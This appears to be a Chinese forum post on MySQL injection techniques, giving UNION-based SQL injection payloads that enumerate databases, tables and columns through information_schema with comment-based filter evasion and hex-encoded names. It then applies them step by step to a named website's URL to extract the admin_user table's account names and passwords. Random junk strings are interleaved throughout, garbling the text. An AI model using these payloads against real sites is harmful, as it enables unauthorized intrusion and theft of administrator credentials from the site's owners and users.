mysql注入技巧

admin

查库

id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

查表

* i9 N1 c3 c7 ~1 pid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
8 w7 D+ a* @9 w  h) H1 V* ]
# y  V. U, }# o0 s' Q1 S3 K查段
! Z# G1 m5 a/ K/ T7 p0 L
0 ^! \9 D3 N! o, Y4 ~id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1

+ t4 ~% G$ T) g$ n, c0 h4 m, J1 u
mysql5高级注入方法暴表
4 d% o; @$ U$ i8 I6 g& q% v( P
例子如下:
* @! a4 h: ]. [
1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
' o1 A. k) T+ A% H; l1 v这样爆到第4个时出现了admin_user表。

2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
9 L* w1 y8 |& x/ v8 z' D
4 k! T9 y3 r* m
3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*

5 z8 Q6 t& N6 h$ l/ o# e$ V- X